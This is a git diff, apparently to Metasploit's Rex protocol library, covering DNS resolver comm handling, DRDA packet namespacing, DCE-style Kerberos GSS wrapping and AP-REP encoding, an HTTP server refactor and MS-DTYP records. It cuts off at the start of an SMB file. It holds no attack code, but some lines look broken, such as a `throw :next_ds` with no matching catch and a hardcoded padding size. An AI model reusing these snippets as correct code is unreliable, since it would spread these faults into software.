+142,11 @@ module DNS packet = Rex::Proto::DNS::Packet.encode_drb(net_packet) end + nameservers = nameservers_for_packet(packet) + if nameservers.size == 0 + raise ResolverError, "No nameservers specified!" + end + # Store packet_data for performance improvements, # so methods don't keep on calling Packet#encode packet_data = packet.encode @@ -149,6 +160,9 @@ module DNS if use_tcp? or !(proxies.nil? or proxies.empty?) # User requested TCP @logger.info "Sending #{packet_size} bytes using TCP due to tcp flag" method = :send_tcp + elsif !supports_udp?(nameservers) + @logger.info "Sending #{packet_size} bytes using TCP due to the presence of a non-UDP-compatible comm channel" + method = :send_tcp else # Finally use UDP @logger.info "Sending #{packet_size} bytes using UDP" method = :send_udp unless method == :send_tcp @@ -160,7 +174,7 @@ module DNS method = :send_tcp end - ans = self.__send__(method, packet, packet_data) + ans = self.__send__(method, packet, packet_data, nameservers) unless (ans and ans[0].length > 0) @logger.fatal "No response from nameservers list: aborting" @@ -189,38 +203,47 @@ module DNS # # @param packet [Net::DNS::Packet] Packet associated with packet_data # @param packet_data [String] Data segment of DNS request packet + # @param nameservers [Array<[String,Hash]>] List of nameservers to use for this request, and their associated socket options # @param prox [String] Proxy configuration for TCP socket # # @return ans [String] Raw DNS reply - def send_tcp(packet,packet_data,prox = @config[:proxies]) + def send_tcp(packet, packet_data, nameservers, prox = @config[:proxies]) ans = nil length = [packet_data.size].pack("n") - @config[:nameservers].each do |ns| + nameservers.each do |ns, socket_options| begin socket = nil + config = { + 'PeerHost' => ns.to_s, + 'PeerPort' => @config[:port].to_i, + 'Proxies' => prox, + 'Context' => @config[:context], + 'Comm' => @config[:comm] + } + config.update(socket_options) + unless config['Comm'].nil? || config['Comm'].alive? + @logger.warn("Session #{config['Comm'].sid} not active, and cannot be used to resolve DNS") + throw :next_ns + end + + suffix = " over session #{@config['Comm'].sid}" unless @config['Comm'].nil? + if @config[:source_port] > 0 + config['LocalPort'] = @config[:source_port] + end + if @config[:source_host].to_s != '0.0.0.0' + config['LocalHost'] = @config[:source_host] unless @config[:source_host].nil? + end @config[:tcp_timeout].timeout do catch(:next_ns) do + suffix = '' begin - config = { - 'PeerHost' => ns.to_s, - 'PeerPort' => @config[:port].to_i, - 'Proxies' => prox, - 'Context' => @config[:context], - 'Comm' => @config[:comm] - } - if @config[:source_port] > 0 - config['LocalPort'] = @config[:source_port] - end - if @config[:source_host].to_s != '0.0.0.0' - config['LocalHost'] = @config[:source_host] unless @config[:source_host].nil? - end socket = Rex::Socket::Tcp.create(config) rescue - @logger.warn "TCP Socket could not be established to #{ns}:#{@config[:port]} #{@config[:proxies]}" + @logger.warn "TCP Socket could not be established to #{ns}:#{@config[:port]} #{@config[:proxies]}#{suffix}" throw :next_ns end next unless socket # - @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" + @logger.info "Contacting nameserver #{ns} port #{@config[:port]}#{suffix}" socket.write(length+packet_data) got_something = false loop do @@ -229,7 +252,7 @@ module DNS begin ans = socket.recv(2) rescue Errno::ECONNRESET - @logger.warn "TCP Socket got Errno::ECONNRESET from #{ns}:#{@config[:port]} #{@config[:proxies]}" + @logger.warn "TCP Socket got Errno::ECONNRESET from #{ns}:#{@config[:port]} #{@config[:proxies]}#{suffix}" attempts -= 1 retry if attempts > 0 end @@ -237,7 +260,7 @@ module DNS if got_something break #Proper exit from loop else - @logger.warn "Connection reset to nameserver #{ns}, trying next." + @logger.warn "Connection reset to nameserver #{ns}#{suffix}, trying next." throw :next_ns end end @@ -247,7 +270,7 @@ module DNS @logger.info "Receiving #{len} bytes..." if len.nil? or len == 0 - @logger.warn "Receiving 0 length packet from nameserver #{ns}, trying next." + @logger.warn "Receiving 0 length packet from nameserver #{ns}#{suffix}, trying next." throw :next_ns end @@ -258,7 +281,7 @@ module DNS end unless buffer.size == len - @logger.warn "Malformed packet from nameserver #{ns}, trying next." + @logger.warn "Malformed packet from nameserver #{ns}#{suffix}, trying next." throw :next_ns end if block_given? @@ -270,7 +293,7 @@ module DNS end end rescue Timeout::Error - @logger.warn "Nameserver #{ns} not responding within TCP timeout, trying next one" + @logger.warn "Nameserver #{ns}#{suffix} not responding within TCP timeout, trying next one" next ensure socket.close if socket @@ -284,41 +307,50 @@ module DNS # # @param packet [Net::DNS::Packet] Packet associated with packet_data # @param packet_data [String] Data segment of DNS request packet + # @param nameservers [Array<[String,Hash]>] List of nameservers to use for this request, and their associated socket options # # @return ans [String] Raw DNS reply - def send_udp(packet,packet_data) + def send_udp(packet,packet_data, nameservers) ans = nil response = "" - @config[:nameservers].each do |ns| - begin - @config[:udp_timeout].timeout do - begin - config = { - 'PeerHost' => ns.to_s, - 'PeerPort' => @config[:port].to_i, - 'Context' => @config[:context], - 'Comm' => @config[:comm] - } - if @config[:source_port] > 0 - config['LocalPort'] = @config[:source_port] + nameservers.each do |ns, socket_options| + catch(:next_ns) do + begin + @config[:udp_timeout].timeout do + begin + config = { + 'PeerHost' => ns.to_s, + 'PeerPort' => @config[:port].to_i, + 'Context' => @config[:context], + 'Comm' => @config[:comm] + } + config.update(socket_options) + unless config['Comm'].nil? || config['Comm'].alive? + @logger.warn("Session #{config['Comm'].sid} not active, and cannot be used to resolve DNS") + throw :next_ns + end + + if @config[:source_port] > 0 + config['LocalPort'] = @config[:source_port] + end + if @config[:source_host] != IPAddr.new('0.0.0.0') + config['LocalHost'] = @config[:source_host] unless @config[:source_host].nil? + end + socket = Rex::Socket::Udp.create(config) + rescue + @logger.warn "UDP Socket could not be established to #{ns}:#{@config[:port]}" + throw :next_ns end - if @config[:source_host] != IPAddr.new('0.0.0.0') - config['LocalHost'] = @config[:source_host] unless @config[:source_host].nil? - end - socket = Rex::Socket::Udp.create(config) - rescue - @logger.warn "UDP Socket could not be established to #{ns}:#{@config[:port]}" - return nil + @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" + #socket.sendto(packet_data, ns.to_s, @config[:port].to_i, 0) + socket.write(packet_data) + ans = socket.recvfrom(@config[:packet_size]) end - @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" - #socket.sendto(packet_data, ns.to_s, @config[:port].to_i, 0) - socket.write(packet_data) - ans = socket.recvfrom(@config[:packet_size]) + break if ans + rescue Timeout::Error + @logger.warn "Nameserver #{ns} not responding within UDP timeout, trying next one" + throw :next_ds end - break if ans - rescue Timeout::Error - @logger.warn "Nameserver #{ns} not responding within UDP timeout, trying next one" - next end end return ans @@ -377,6 +409,17 @@ module DNS return send(name,type,cls) end + + private + + def supports_udp?(nameserver_results) + nameserver_results.each do |nameserver, socket_options| + comm = socket_options.fetch('Comm') { @config[:comm] || Rex::Socket::SwitchBoard.best_comm(nameserver) } + next if comm.nil? + return false unless comm.supports_udp? + end + true + end end # Resolver end diff --git a/lib/rex/proto/drda/packet.rb b/lib/rex/proto/drda/packet.rb index 823f5b03e2..8fd26b9393 100644 --- a/lib/rex/proto/drda/packet.rb +++ b/lib/rex/proto/drda/packet.rb @@ -12,7 +12,7 @@ class RespError < Error; end # http://publib.boulder.ibm.com/infocenter/dzichelp/v2r2/index.jsp?topic=/com.ibm.db29.doc.drda/db2z_excsat.htm class MGRLVLLS_PARAM < Struct.new(:length, :codepoint, :payload) def initialize(args={}) - self[:codepoint] = Constants::MGRLVLLS + self[:codepoint] = Rex::Proto::DRDA::Constants::MGRLVLLS self[:payload] = "\x14\x03\x00\x0a\x24\x07\x00\x0a" + "\x14\x74\x00\x05\x24\x0f\x00\x08" + "\x14\x40\x00\x09\x1c\x08\x04\xb8" @@ -32,7 +32,7 @@ class EXCSAT_DDM < Struct.new(:length, :magic, :format, :correlid, :length2, self[:magic] = 0xd0 self[:format] = 0x41 self[:correlid] = 1 - self[:codepoint] = Constants::EXCSAT + self[:codepoint] = Rex::Proto::DRDA::Constants::EXCSAT self[:mgrlvlls] = args[:mgrlvlls] || MGRLVLLS_PARAM.new.to_s self[:length] = (10 + self[:mgrlvlls].to_s.size) self[:length2] = self[:length]-6 @@ -50,7 +50,7 @@ end class SECMEC_PARAM < Struct.new(:length, :codepoint, :payload) def initialize(args={}) self[:length] = 6 - self[:codepoint] = Constants::SECMEC + self[:codepoint] = Rex::Proto::DRDA::Constants::SECMEC self[:payload] = 3 # Plaintext username and password. end def to_s @@ -62,7 +62,7 @@ end class RDBNAM_PARAM < Struct.new(:length, :codepoint, :payload) def initialize(args={}) self[:length] = 22 # Since the database name is padded out. - self[:codepoint] = Constants::RDBNAM + self[:codepoint] = Rex::Proto::DRDA::Constants::RDBNAM self[:payload] = encode(args[:payload].to_s) end @@ -90,7 +90,7 @@ class ACCSEC_DDM < Struct.new(:length, :magic, :format, :correlid, :length2, self[:magic] = 0xd0 self[:format] = args[:format] || 0x01 self[:correlid] = 2 - self[:codepoint] = Constants::ACCSEC + self[:codepoint] = Rex::Proto::DRDA::Constants::ACCSEC self[:secmec] = SECMEC_PARAM.new.to_s if args[:dbname] # Include a database name if we're given one. self[:rdbnam] = RDBNAM_PARAM.new(:payload => args[:dbname]).to_s @@ -144,7 +144,7 @@ class BASIC_DDM < Struct.new(:length, :magic, :format, :correlid, rest = str[10,self[:length2]-4] i = 0 while (i < rest.size) - if self[:codepoint] == Constants::SQLCARD # These aren't DDM's. + if self[:codepoint] == Rex::Proto::DRDA::Constants::SQLCARD # These aren't DDM's. this_param = rest[i,self[:length]-10] else this_param = DDM_PARAM.new.read(rest[i,rest.size]) @@ -193,7 +193,7 @@ end class PASSWORD_PARAM < Struct.new(:length, :codepoint, :payload) def initialize(args={}) - self[:codepoint] = Constants::PASSWORD + self[:codepoint] = Rex::Proto::DRDA::Constants::PASSWORD self[:payload] = Rex::Text.to_ebcdic(args[:payload].to_s) self[:length] = self[:payload].size + 4 end @@ -207,7 +207,7 @@ end class USERID_PARAM < Struct.new(:length, :codepoint, :payload) def initialize(args={}) - self[:codepoint] = Constants::USERID + self[:codepoint] = Rex::Proto::DRDA::Constants::USERID self[:payload] = Rex::Text.to_ebcdic(args[:payload].to_s) self[:length] = self[:payload].size + 4 end @@ -225,7 +225,7 @@ class SECCHK_DDM < Struct.new(:length, :magic, :format, :correlid, :length2, self[:magic] = 0xd0 self[:format] = 0x01 self[:correlid] = 2 - self[:codepoint] = Constants::SECCHK + self[:codepoint] = Rex::Proto::DRDA::Constants::SECCHK self[:secmec] = SECMEC_PARAM.new.to_s if args[:dbname] # Include a database name if we're given one. self[:rdbnam] = RDBNAM_PARAM.new(:payload => args[:dbname]).to_s diff --git a/lib/rex/proto/drda/utils.rb b/lib/rex/proto/drda/utils.rb index 1f1fc0f0b9..b3c4b1998e 100644 --- a/lib/rex/proto/drda/utils.rb +++ b/lib/rex/proto/drda/utils.rb @@ -10,8 +10,8 @@ class Utils # a reponse from the target server. def self.client_probe(dbname=nil) pkt = [ - EXCSAT_DDM.new, - ACCSEC_DDM.new(:dbname => dbname) + Rex::Proto::DRDA::Packet::EXCSAT_DDM.new, + Rex::Proto::DRDA::Packet::ACCSEC_DDM.new(:dbname => dbname) ] pkt.map {|x| x.to_s}.join end @@ -23,15 +23,15 @@ class Utils dbuser = args[:dbuser] dbpass = args[:dbpass] pkt = [ - ACCSEC_DDM.new(:format => 0x41), - SECCHK_DDM.new(:dbname => dbname, :dbuser => dbuser, :dbpass => dbpass) + Rex::Proto::DRDA::Packet::ACCSEC_DDM.new(:format => 0x41), + Rex::Proto::DRDA::Packet::SECCHK_DDM.new(:dbname => dbname, :dbuser => dbuser, :dbpass => dbpass) ] pkt.map {|x| x.to_s}.join end def self.server_packet_info(obj) info_hash = {} - return info_hash unless obj.kind_of? Rex::Proto::DRDA::SERVER_PACKET + return info_hash unless obj.kind_of? Rex::Proto::DRDA::Packet::SERVER_PACKET obj.each do |ddm| case ddm.codepoint when Constants::EXCSATRD diff --git a/lib/rex/proto/gss/kerberos/message_encryptor.rb b/lib/rex/proto/gss/kerberos/message_encryptor.rb index 63b3e735b0..2eb3d36983 100644 --- a/lib/rex/proto/gss/kerberos/message_encryptor.rb +++ b/lib/rex/proto/gss/kerberos/message_encryptor.rb @@ -14,12 +14,14 @@ module Rex # @param [Integer] decrypt_sequence_number The starting sequence number we expect to see when we decrypt messages # @param [Boolean] is_initiator Are we the initiator in this communication (used for setting flags and key usage values) # @param [Boolean] use_acceptor_subkey Are we using the subkey provided by the acceptor? (used for setting appropriate flags) - def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true) + # @param [Boolean] dce_style Is the format of the encrypted blob DCE-style? + def initialize(key, encrypt_sequence_number, decrypt_sequence_number, is_initiator: true, use_acceptor_subkey: true, dce_style: false) @key = key @encrypt_sequence_number = encrypt_sequence_number @decrypt_sequence_number = decrypt_sequence_number @is_initiator = is_initiator @use_acceptor_subkey = use_acceptor_subkey + @dce_style = dce_style @encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(key.type) end @@ -28,7 +30,7 @@ module Rex # @return [String, Integer, Integer] The encrypted data, the length of its header, and the length of padding added to it prior to encryption # def encrypt_and_increment(data) - result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey) + result = encryptor.gss_wrap(data, @key, @encrypt_sequence_number, @is_initiator, use_acceptor_subkey: @use_acceptor_subkey, dce_style: @dce_style) @encrypt_sequence_number += 1 result @@ -44,6 +46,10 @@ module Rex result end + def calculate_encrypted_length(plaintext_len) + encryptor.calculate_encrypted_length(plaintext_len) + end + # # The sequence number to use when we are encrypting, which should be incremented for each message # @@ -70,6 +76,15 @@ module Rex # attr_accessor :use_acceptor_subkey + # + # [Boolean] Whether this encryptor will be used for DCERPC purposes (since the behaviour is subtly different) + # See MS-KILE 3.4.5.4.1 for details about the exception to the rule: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/e94b3acd-8415-4d0d-9786-749d0c39d550 + # + # "For [MS-RPCE], the length field in the above pseudo ASN.1 header does not include the length of the concatenated data if [RFC1964] is used." + # + attr_accessor :dce_style + # # [Rex::Proto::Kerberos::Crypto::*] Encryption class for encrypting/decrypting messages # diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index b6e9586586..f340c811bd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -6,59 +6,6 @@ module Rex module Proto module Http -### -# -# Runtime extension of the HTTP clients that connect to the server. -# -### -module ServerClient - - # - # Initialize a new request instance. - # - def init_cli(server) - self.request = Request.new - self.server = server - self.keepalive = false - end - - # - # Resets the parsing state. - # - def reset_cli - self.request.reset - end - - # - # Transmits a response and adds the appropriate headers. - # - def send_response(response) - # Set the connection to close or keep-alive depending on what the client - # can support. - response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' - - # Add any other standard response headers. - server.add_response_headers(response) - - # Send it off. - put(response.to_s) - end - - # - # The current request context. - # - attr_accessor :request - # - # Boolean that indicates whether or not the connection supports keep-alive. - # - attr_accessor :keepalive - # - # A reference to the server the client is associated with. - # - attr_accessor :server - -end - ### # # Acts as an HTTP server, processing requests and dispatching them to diff --git a/lib/rex/proto/http/server_client.rb b/lib/rex/proto/http/server_client.rb new file mode 100644 index 0000000000..69572a71fc --- /dev/null +++ b/lib/rex/proto/http/server_client.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- +require 'rex/socket' + + +module Rex +module Proto +module Http + +### +# +# Runtime extension of the HTTP clients that connect to the server. +# +### +module ServerClient + + # + # Initialize a new request instance. + # + def init_cli(server) + self.request = Request.new + self.server = server + self.keepalive = false + end + + # + # Resets the parsing state. + # + def reset_cli + self.request.reset + end + + # + # Transmits a response and adds the appropriate headers. + # + def send_response(response) + # Set the connection to close or keep-alive depending on what the client + # can support. + response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' + + # Add any other standard response headers. + server.add_response_headers(response) + + # Send it off. + put(response.to_s) + end + + # + # The current request context. + # + attr_accessor :request + # + # Boolean that indicates whether or not the connection supports keep-alive. + # + attr_accessor :keepalive + # + # A reference to the server the client is associated with. + # + attr_accessor :server + +end + +end +end +end diff --git a/lib/rex/proto/kerberos/crypto/block_cipher_base.rb b/lib/rex/proto/kerberos/crypto/block_cipher_base.rb index b8c3a602fb..70fc4ef739 100644 --- a/lib/rex/proto/kerberos/crypto/block_cipher_base.rb +++ b/lib/rex/proto/kerberos/crypto/block_cipher_base.rb @@ -98,6 +98,10 @@ module Rex raise NotImplementedError end + def calculate_encrypted_length(plaintext_len) + raise NotImplementedError + end + private # Functions must be overridden by subclasses: diff --git a/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb b/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb index 1d553c36ed..7f95618787 100644 --- a/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb +++ b/lib/rex/proto/kerberos/crypto/gss_new_encryption_type.rb @@ -18,9 +18,11 @@ module Rex # # Encrypt the message, wrapping it in GSS structures + # @option options [Boolean] :use_acceptor_subkey Whether the encryption occurs with a negotiated subkey # @return [String, Integer, Integer] The encrypted data, the length of its header, and the length of padding added to it prior to encryption # - def gss_wrap(plaintext, key, sequence_number, is_initiator, use_acceptor_subkey: true) + def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={}) + use_acceptor_subkey = opts.fetch(:use_acceptor_subkey) { true } # Handle wrap-around sequence_number &= 0xFFFFFFFFFFFFFFFF @@ -36,7 +38,7 @@ module Rex tok_id = TOK_ID_GSS_WRAP filler = 0xFF - ec = calculate_ec(plaintext) + ec = calculate_ec(plaintext.length) rrc = calculate_rrc # RFC4121, Section 4.2.4 @@ -48,12 +50,14 @@ module Rex ec_filler = "x" * ec plaintext = plaintext + ec_filler + plaintext_header ciphertext = self.encrypt(plaintext, key.value, key_usage) - rotated = rotate(ciphertext, rrc) + rotated = rotate(ciphertext, rrc+ec) - result = [header + rotated, header_length, ec] + result = [header + rotated, header_length + ec, ec] end - def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, use_acceptor_subkey: true) + # @option options [Boolean] :use_acceptor_subkey Whether the encryption occurs with a negotiated subkey + def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={}) + use_acceptor_subkey = opts.fetch(:use_acceptor_subkey) { true } # Handle wrap-around sequence_number &= 0xFFFFFFFFFFFFFFFF @@ -76,11 +80,16 @@ module Rex raise Rex::Proto::Kerberos::Model::Error::KerberosError, "Invalid sequence number (received #{snd_seq}; expected #{expected_sequence_number})" unless expected_sequence_number == snd_seq # Could do some sanity checking here of those values - ciphertext = rotate(ciphertext, -rrc) + ciphertext = rotate(ciphertext, -(rrc+ec)) plaintext = self.decrypt(ciphertext, key.value, key_usage) plaintext = plaintext[0, plaintext.length - ec - GSS_HEADER_LEN] + plaintext + end + + def calculate_encrypted_length(plaintext_len) + plaintext_len end private @@ -102,13 +111,13 @@ module Rex # need to add "residue" (padding). This seems to be relevant only to DES, # which leave padding removal as an exercise to the user (AES strips the padding # prior to returning it) - def calculate_ec(plaintext) - padding_size = self.class::PADDING_SIZE + def calculate_ec(plaintext_len) + padding_size = 1 if padding_size == 0 # No padding, so don't need to buffer up to a multiple of the pad length 0 else - (padding_size - (plaintext.length + GSS_HEADER_LEN)) % padding_size + (padding_size - (plaintext_len + GSS_HEADER_LEN)) % padding_size end end @@ -128,7 +137,7 @@ module Rex # The length of the encrypted header portion of the message. # This includes information that is part of the encryption process, such as # confounders, padding, and checksums. As a result, it is dependent on the - # encyrption algorithm. + # encryption algorithm. # This is defined in MS-WSMV section 2.2.9.1.1.2.2 def header_length GSS_HEADER_LEN + GSS_HEADER_LEN + self.header_byte_count + self.trailing_byte_count diff --git a/lib/rex/proto/kerberos/crypto/rc4_hmac.rb b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb index 155dd2b062..3729216d43 100644 --- a/lib/rex/proto/kerberos/crypto/rc4_hmac.rb +++ b/lib/rex/proto/kerberos/crypto/rc4_hmac.rb @@ -87,7 +87,7 @@ module Rex def encrypt(plaintext, key, msg_type, confounder: nil) k1 = OpenSSL::HMAC.digest('MD5', key, usage_str(msg_type)) - confounder = Rex::Text::rand_text(CONFOUNDER_SIZE) if confounder == nil + confounder = Random.urandom(CONFOUNDER_SIZE) if confounder == nil data_encrypt = confounder + plaintext checksum = OpenSSL::HMAC.digest('MD5', k1, data_encrypt) @@ -103,7 +103,7 @@ module Rex res end - def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, use_acceptor_subkey: true) + def gss_unwrap(ciphertext, key, expected_sequence_number, is_initiator, opts={}) # Always 32-bit sequence number expected_sequence_number &= 0xFFFFFFFF @@ -157,15 +157,17 @@ module Rex raise Rex::Proto::Kerberos::Model::Error::KerberosError, 'Checksum error' unless verification_eight_checksum_bytes == eight_checksum_bytes # Remove padding, if present (seems MS may not send it back?) - pad_char = plaintext[-1] - if pad_char == "\x01" - plaintext = plaintext[0, plaintext.length-1] + pad_char = plaintext[-1].ord + if 1 <= pad_char && pad_char <= 8 + plaintext = plaintext[0, plaintext.length-pad_char] end plaintext end - def gss_wrap(plaintext, key, sequence_number, is_initiator, use_acceptor_subkey: true) + # @option options [Boolean] :dce_style Whether the interaction is a 3-leg DCERPC interaction + def gss_wrap(plaintext, key, sequence_number, is_initiator, opts={}) + dce_style = opts.fetch(:dce_style) { false } # Always 32-bit sequence number sequence_number &= 0xFFFFFFFF @@ -175,8 +177,9 @@ module Rex seal_alg = 0x1000 filler = 0xFFFF header = [tok_id, alg, seal_alg, filler].pack('nnnn') - # Add a byte of padding (see RFC1964 section 1.2.2.3) - plaintext += "\x01" + # Add padding (see RFC1964 section 1.2.2.3) + pad_num = (8 - (plaintext.length % 8)) + plaintext += (pad_num.chr * pad_num) send_seq = [sequence_number].pack('N') # See errata on RFC4757 @@ -184,8 +187,7 @@ module Rex initiator_bytes = "\x00" * 4 if is_initiator send_seq += initiator_bytes - confounder = Rex::Text::rand_text(CONFOUNDER_SIZE) - #confounder = ['cd85a6ad14bcf4a4'].pack('H*') + confounder = Random.urandom(CONFOUNDER_SIZE) chksum_input = usage_str(Rex::Proto::Kerberos::Crypto::KeyUsage::KRB_PRIV_ENCPART) + header + confounder ksign = OpenSSL::HMAC.digest('MD5', key.value, "signaturekey\x00") sgn_cksum = Rex::Text.md5_raw(chksum_input+plaintext) @@ -219,14 +221,21 @@ module Rex token = header + encrypted_sequence_num + eight_checksum_bytes + encrypted_confounder size_prior = (token+encrypted).length - wrapped_token = wrap_pseudo_asn1( - ::Rex::Proto::Gss::OID_KERBEROS_5, - token + encrypted - ) + if dce_style + wrapped_token = wrap_pseudo_asn1( + ::Rex::Proto::Gss::OID_KERBEROS_5, + token + ) + encrypted + else + wrapped_token = wrap_pseudo_asn1( + ::Rex::Proto::Gss::OID_KERBEROS_5, + token + encrypted + ) + end asn1_length = wrapped_token.length - size_prior token_length = asn1_length + token.length - [wrapped_token, token_length, 0x01] + [wrapped_token, token_length, pad_num] end # @@ -243,6 +252,11 @@ module Rex 0 end + def calculate_encrypted_length(plaintext_len) + # We add 1-8 bytes of padding, per RFC1964 section 1.2.2.3 + plaintext_len + (8 - (plaintext_len % 8)) + end + private def usage_str(msg_type) diff --git a/lib/rex/proto/kerberos/model.rb b/lib/rex/proto/kerberos/model.rb index f5da9bbcbc..cdc54ccfee 100644 --- a/lib/rex/proto/kerberos/model.rb +++ b/lib/rex/proto/kerberos/model.rb @@ -18,6 +18,7 @@ module Rex AP_REQ = 14 AP_REP = 15 KRB_CRED = 22 + ENC_AP_REP_PART = 27 ENC_KRB_CRED_PART = 29 module OID diff --git a/lib/rex/proto/kerberos/model/ap_rep.rb b/lib/rex/proto/kerberos/model/ap_rep.rb index 313c4944f0..a7c28e4a37 100644 --- a/lib/rex/proto/kerberos/model/ap_rep.rb +++ b/lib/rex/proto/kerberos/model/ap_rep.rb @@ -35,11 +35,25 @@ module Rex self end - # Rex::Proto::Kerberos::Model::ApRep encoding isn't supported + # Encodes the Rex::Proto::Kerberos::Model::ApReq into an ASN.1 String # - # @raise [NotImplementedError] + # @return [String] def encode - raise ::NotImplementedError, 'ApRep encoding not supported' + to_asn1.to_der + end + + # @return [OpenSSL::ASN1::ASN1Data] The ap_req ASN1Data + def to_asn1 + elems = [] + + elems << OpenSSL::ASN1::ASN1Data.new([encode_pvno], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_msg_type], 1, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_enc_part], 2, :CONTEXT_SPECIFIC) + + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], AP_REP, :APPLICATION) + seq_asn1 end def decrypt_enc_part(key) @@ -50,6 +64,33 @@ module Rex private + # Encodes the pvno field + # + # @return [OpenSSL::ASN1::Integer] + def encode_pvno + bn = OpenSSL::BN.new(pvno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the msg_type field + # + # @return [OpenSSL::ASN1::Integer] + def encode_msg_type + bn = OpenSSL::BN.new(msg_type.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the enc_part field + # + # @return [String] + def encode_enc_part + enc_part.encode + end + # Decodes a Rex::Proto::Kerberos::Model::ApRep from an String # # @param input [String] the input to decode from diff --git a/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb b/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb index 7ab2557795..4fa4eebe7a 100644 --- a/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb +++ b/lib/rex/proto/kerberos/model/enc_ap_rep_part.rb @@ -20,6 +20,9 @@ module Rex # @!attribute sequence_number # @return [Integer] The initial sequence number to be used for future communications attr_accessor :sequence_number + # @!attribute enc_key_usage + # @return [Rex::Proto::Kerberos::Crypto::KeyUsage,Integer] The enc key usage number for this object + attr_accessor :enc_key_usage # Decodes the Rex::Proto::Kerberos::Model::EncApRepPart from an input # @@ -39,15 +42,72 @@ module Rex self end - # Encodes the Rex::Proto::Kerberos::Model::EncApRepPart into an ASN.1 String + # Encodes the Rex::Proto::Kerberos::Model::EncApReqPart into an ASN.1 String # # @return [String] def encode - raise ::NotImplementedError, 'EncApRepPart encoding not supported' + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_ctime], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_cusec], 1, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_subkey], 2, :CONTEXT_SPECIFIC) if subkey + elems << OpenSSL::ASN1::ASN1Data.new([encode_sequence_number], 3, :CONTEXT_SPECIFIC) if sequence_number + + seq = OpenSSL::ASN1::Sequence.new(elems) + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], ENC_AP_REP_PART, :APPLICATION) + + seq_asn1.to_der + end + + # Encrypts the Rex::Proto::Kerberos::Model::EncApRepPart + # + # @param etype [Integer] the crypto schema to encrypt + # @param key [String] the key to encrypt + # @return [String] the encrypted result + # @raise [NotImplementedError] if the encryption schema isn't supported + def encrypt(etype, key) + raise ::Rex::Proto::Kerberos::Model::Error::KerberosError, 'Missing enc_key_usage' unless enc_key_usage + + data = self.encode + encryptor = Rex::Proto::Kerberos::Crypto::Encryption::from_etype(etype) + encryptor.encrypt(data, key, enc_key_usage) end private + # Encodes the cusec field + # + # @return [OpenSSL::ASN1::Integer] + def encode_cusec + bn = OpenSSL::BN.new(cusec.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the ctime field + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_ctime + OpenSSL::ASN1::GeneralizedTime.new(ctime) + end + + # Encodes the subkey field + # + # @return [String] + def encode_subkey + subkey.encode + end + + # Encodes the sequence_number field + # + # @return [OpenSSL::ASN1::Integer] + def encode_sequence_number + bn = OpenSSL::BN.new(sequence_number.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + # Decodes a Rex::Proto::Kerberos::Model::EncApRepPart from an String # # @param input [String] the input to decode from diff --git a/lib/rex/proto/kerberos/pac/krb5_pac.rb b/lib/rex/proto/kerberos/pac/krb5_pac.rb index aa306df298..2201d99a04 100644 --- a/lib/rex/proto/kerberos/pac/krb5_pac.rb +++ b/lib/rex/proto/kerberos/pac/krb5_pac.rb @@ -743,6 +743,15 @@ module Rex::Proto::Kerberos::Pac ms_dtyp_sid end + def do_num_bytes + if has_s_flag? + result = sid_offset + sid_length + else + result = dns_domain_name_offset + dns_domain_name_length + end + result + end + # def initialize_instance(*args) # super # set_offsets! diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index cf721ee947..35aa416974 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -749,4 +749,32 @@ module Rex::Proto::MsDtyp offset end end + + # [2.3.7 LUID](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/48cbee2a-0790-45f2-8269-931d7083b2c3) + class MsDtypLuid < BinData::Record + endian :little + + uint32 :low_part + int32 :high_part + + def to_s + "0x#{high_part.to_i.to_s(16)}#{low_part.to_i.to_s(16).rjust(8, '0')}" + end + end + + # [2.3.5 LARGE_INTEGER](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/e904b1ba-f774-4203-ba1b-66485165ab1a) + class MsDtypLargeInteger < BinData::Record + endian :big_and_little + + uint32 :low_part + int32 :high_part + + def to_datetime + RubySMB::Field::FileTime.new(to_i).to_datetime + end + + def to_i + (high_part.to_i << 32) | low_part.to_i + end + end end diff --git a/lib/rex/proto/smb/simple_client.rb b/lib/rex/proto/smb/simple_client.rb index 5e3581d508..5ec1d574db 100644 --- 